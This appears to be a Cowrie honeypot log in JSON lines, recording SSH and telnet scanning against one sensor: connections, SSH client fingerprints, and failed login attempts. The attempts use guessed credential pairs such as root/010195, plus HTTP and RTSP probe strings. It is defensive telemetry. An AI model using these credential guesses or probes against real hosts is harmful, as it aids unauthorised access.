{"eventid":"cowrie.login.failed","username":"root","password":"010195","message":"login attempt [root/010195] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:55.401430Z","src_ip":"103.77.175.15","session":"9a2cdbba93b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:56.659365Z","src_ip":"103.77.175.15","session":"9a2cdbba93b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35292,"dst_ip":"159.203.135.109","dst_port":23,"session":"31755a308cb9","protocol":"telnet","message":"New connection: 104.155.26.129:35292 (159.203.135.109:23) [session: 31755a308cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:02.895576Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:02.900554Z","src_ip":"104.155.26.129","session":"31755a308cb9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:02.904027Z","src_ip":"104.155.26.129","session":"31755a308cb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09293031692504883,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:02.988363Z","src_ip":"104.155.26.129","session":"31755a308cb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35304,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ceee616cd80","protocol":"telnet","message":"New connection: 104.155.26.129:35304 (159.203.135.109:23) [session: 1ceee616cd80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:03.064635Z"}
{"eventid":"cowrie.session.closed","duration":0.005320549011230469,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:03.069806Z","src_ip":"104.155.26.129","session":"1ceee616cd80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35310,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c9ad04b0ad0","protocol":"telnet","message":"New connection: 104.155.26.129:35310 (159.203.135.109:23) [session: 0c9ad04b0ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:03.227068Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35320,"dst_ip":"159.203.135.109","dst_port":23,"session":"98d32e5d10af","protocol":"telnet","message":"New connection: 104.155.26.129:35320 (159.203.135.109:23) [session: 98d32e5d10af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:03.387848Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35324,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3f4d216663a","protocol":"telnet","message":"New connection: 104.155.26.129:35324 (159.203.135.109:23) [session: f3f4d216663a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:03.550716Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35338,"dst_ip":"159.203.135.109","dst_port":23,"session":"943b90a72472","protocol":"telnet","message":"New connection: 104.155.26.129:35338 (159.203.135.109:23) [session: 943b90a72472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:03.713325Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35346,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e2f016ce325","protocol":"telnet","message":"New connection: 104.155.26.129:35346 (159.203.135.109:23) [session: 0e2f016ce325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:03.878287Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35348,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd953b356f05","protocol":"telnet","message":"New connection: 104.155.26.129:35348 (159.203.135.109:23) [session: bd953b356f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:04.039070Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35358,"dst_ip":"159.203.135.109","dst_port":23,"session":"95dd6e50069a","protocol":"telnet","message":"New connection: 104.155.26.129:35358 (159.203.135.109:23) [session: 95dd6e50069a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:04.200018Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35362,"dst_ip":"159.203.135.109","dst_port":23,"session":"40cdcb278189","protocol":"telnet","message":"New connection: 104.155.26.129:35362 (159.203.135.109:23) [session: 40cdcb278189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:04.361515Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35376,"dst_ip":"159.203.135.109","dst_port":23,"session":"a30680fe02ba","protocol":"telnet","message":"New connection: 104.155.26.129:35376 (159.203.135.109:23) [session: a30680fe02ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:04.603558Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35392,"dst_ip":"159.203.135.109","dst_port":23,"session":"c08df585bee1","protocol":"telnet","message":"New connection: 104.155.26.129:35392 (159.203.135.109:23) [session: c08df585bee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:04.765992Z"}
{"eventid":"cowrie.session.closed","duration":0.0025064945220947266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:04.768378Z","src_ip":"104.155.26.129","session":"c08df585bee1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35396,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4f2e2feab83","protocol":"telnet","message":"New connection: 104.155.26.129:35396 (159.203.135.109:23) [session: d4f2e2feab83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:04.927036Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35398,"dst_ip":"159.203.135.109","dst_port":23,"session":"68d7368f0653","protocol":"telnet","message":"New connection: 104.155.26.129:35398 (159.203.135.109:23) [session: 68d7368f0653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.087985Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35410,"dst_ip":"159.203.135.109","dst_port":23,"session":"c225434708aa","protocol":"telnet","message":"New connection: 104.155.26.129:35410 (159.203.135.109:23) [session: c225434708aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.250808Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35424,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe91226b929b","protocol":"telnet","message":"New connection: 104.155.26.129:35424 (159.203.135.109:23) [session: fe91226b929b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.412536Z"}
{"eventid":"cowrie.session.closed","duration":0.17444205284118652,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.425184Z","src_ip":"104.155.26.129","session":"c225434708aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.3399684429168701,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.427850Z","src_ip":"104.155.26.129","session":"68d7368f0653","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.5032682418823242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.430138Z","src_ip":"104.155.26.129","session":"d4f2e2feab83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8286852836608887,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.432123Z","src_ip":"104.155.26.129","session":"a30680fe02ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.0727927684783936,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.434189Z","src_ip":"104.155.26.129","session":"40cdcb278189","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.236224889755249,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.436035Z","src_ip":"104.155.26.129","session":"95dd6e50069a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4035558700561523,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.442527Z","src_ip":"104.155.26.129","session":"bd953b356f05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.566422939300537,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.444566Z","src_ip":"104.155.26.129","session":"0e2f016ce325","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.7332773208618164,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.446445Z","src_ip":"104.155.26.129","session":"943b90a72472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8975465297698975,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.448039Z","src_ip":"104.155.26.129","session":"f3f4d216663a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.0620779991149902,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.449799Z","src_ip":"104.155.26.129","session":"98d32e5d10af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.2246358394622803,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.451565Z","src_ip":"104.155.26.129","session":"0c9ad04b0ad0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.753493309020996,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.485096Z","src_ip":"104.155.26.129","session":"07f982f2842a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35426,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a8deafc6c9c","protocol":"telnet","message":"New connection: 104.155.26.129:35426 (159.203.135.109:23) [session: 0a8deafc6c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.573246Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":52134,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d3e59540849","protocol":"ssh","message":"New connection: 46.29.234.126:52134 (159.203.135.109:22) [session: 7d3e59540849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.583976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.589345Z","src_ip":"46.29.234.126","session":"7d3e59540849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.702971Z","src_ip":"46.29.234.126","session":"7d3e59540849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35430,"dst_ip":"159.203.135.109","dst_port":23,"session":"d00ab1747648","protocol":"telnet","message":"New connection: 104.155.26.129:35430 (159.203.135.109:23) [session: d00ab1747648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.736017Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35446,"dst_ip":"159.203.135.109","dst_port":23,"session":"95446fd767dd","protocol":"telnet","message":"New connection: 104.155.26.129:35446 (159.203.135.109:23) [session: 95446fd767dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:05.896690Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35456,"dst_ip":"159.203.135.109","dst_port":23,"session":"33133240673a","protocol":"telnet","message":"New connection: 104.155.26.129:35456 (159.203.135.109:23) [session: 33133240673a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:06.057723Z"}
{"eventid":"cowrie.login.failed","username":"william","password":"william123","message":"login attempt [william/william123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:06.194321Z","src_ip":"46.29.234.126","session":"7d3e59540849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35470,"dst_ip":"159.203.135.109","dst_port":23,"session":"13d174a0be28","protocol":"telnet","message":"New connection: 104.155.26.129:35470 (159.203.135.109:23) [session: 13d174a0be28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:06.217757Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:06.220954Z","src_ip":"104.155.26.129","session":"13d174a0be28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35486,"dst_ip":"159.203.135.109","dst_port":23,"session":"f51d4ce22dd8","protocol":"telnet","message":"New connection: 104.155.26.129:35486 (159.203.135.109:23) [session: f51d4ce22dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:06.381230Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35490,"dst_ip":"159.203.135.109","dst_port":23,"session":"2317b1061999","protocol":"telnet","message":"New connection: 104.155.26.129:35490 (159.203.135.109:23) [session: 2317b1061999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:06.548219Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35506,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d9e5c030a58","protocol":"telnet","message":"New connection: 104.155.26.129:35506 (159.203.135.109:23) [session: 8d9e5c030a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:06.708411Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35512,"dst_ip":"159.203.135.109","dst_port":23,"session":"b24354046c0a","protocol":"telnet","message":"New connection: 104.155.26.129:35512 (159.203.135.109:23) [session: b24354046c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:06.869725Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35526,"dst_ip":"159.203.135.109","dst_port":23,"session":"38f6a705ac1b","protocol":"telnet","message":"New connection: 104.155.26.129:35526 (159.203.135.109:23) [session: 38f6a705ac1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:07.033404Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35528,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bd8e333df3d","protocol":"telnet","message":"New connection: 104.155.26.129:35528 (159.203.135.109:23) [session: 4bd8e333df3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:07.194614Z"}
{"eventid":"cowrie.session.closed","duration":0.004263877868652344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:07.198762Z","src_ip":"104.155.26.129","session":"4bd8e333df3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:07.314070Z","src_ip":"46.29.234.126","session":"7d3e59540849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35538,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5b8481e534a","protocol":"telnet","message":"New connection: 104.155.26.129:35538 (159.203.135.109:23) [session: a5b8481e534a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:07.356941Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35550,"dst_ip":"159.203.135.109","dst_port":23,"session":"29aad05f3703","protocol":"telnet","message":"New connection: 104.155.26.129:35550 (159.203.135.109:23) [session: 29aad05f3703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:07.522423Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 3500","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 3500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:07.531776Z","src_ip":"104.155.26.129","session":"29aad05f3703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":35562,"dst_ip":"159.203.135.109","dst_port":23,"session":"2984f38a218c","protocol":"telnet","message":"New connection: 104.155.26.129:35562 (159.203.135.109:23) [session: 2984f38a218c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:07.692620Z"}
{"eventid":"cowrie.session.closed","duration":0.004323482513427734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:07.696831Z","src_ip":"104.155.26.129","session":"2984f38a218c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.383624792098999,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:20.091910Z","src_ip":"104.155.26.129","session":"8d9e5c030a58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.714597940444946,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:20.095700Z","src_ip":"104.155.26.129","session":"f51d4ce22dd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.550114393234253,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:20.098209Z","src_ip":"104.155.26.129","session":"2317b1061999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.883113861083984,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:20.100766Z","src_ip":"104.155.26.129","session":"13d174a0be28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.366497993469238,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:20.102407Z","src_ip":"104.155.26.129","session":"d00ab1747648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.046292543411255,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:20.103870Z","src_ip":"104.155.26.129","session":"33133240673a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.208791971206665,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:20.105346Z","src_ip":"104.155.26.129","session":"95446fd767dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.539250135421753,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:20.112413Z","src_ip":"104.155.26.129","session":"0a8deafc6c9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.702327489852905,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:20.114774Z","src_ip":"104.155.26.129","session":"fe91226b929b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.659756660461426,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:20.182025Z","src_ip":"104.155.26.129","session":"29aad05f3703","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.827247619628906,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:20.183968Z","src_ip":"104.155.26.129","session":"a5b8481e534a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.318187952041626,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:20.187773Z","src_ip":"104.155.26.129","session":"b24354046c0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.158876419067383,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:20.192205Z","src_ip":"104.155.26.129","session":"38f6a705ac1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.558945178985596,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:14:27.721150Z","src_ip":"172.81.62.90","session":"db2c0fdf627a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":54976,"dst_ip":"10.17.0.5","dst_port":23,"session":"947624ff4ab1","protocol":"telnet","message":"New connection: 94.23.66.112:54976 (10.17.0.5:23) [session: 947624ff4ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:15:02.352495Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38466,"dst_ip":"159.203.135.109","dst_port":23,"session":"a39d0e1c640c","protocol":"telnet","message":"New connection: 172.81.62.90:38466 (159.203.135.109:23) [session: a39d0e1c640c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:15:03.975775Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":42868,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e4d23599ed6","protocol":"ssh","message":"New connection: 152.32.171.213:42868 (159.203.135.109:22) [session: 9e4d23599ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:15:21.275416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:15:21.279500Z","src_ip":"152.32.171.213","session":"9e4d23599ed6","protocol":"ssh"}
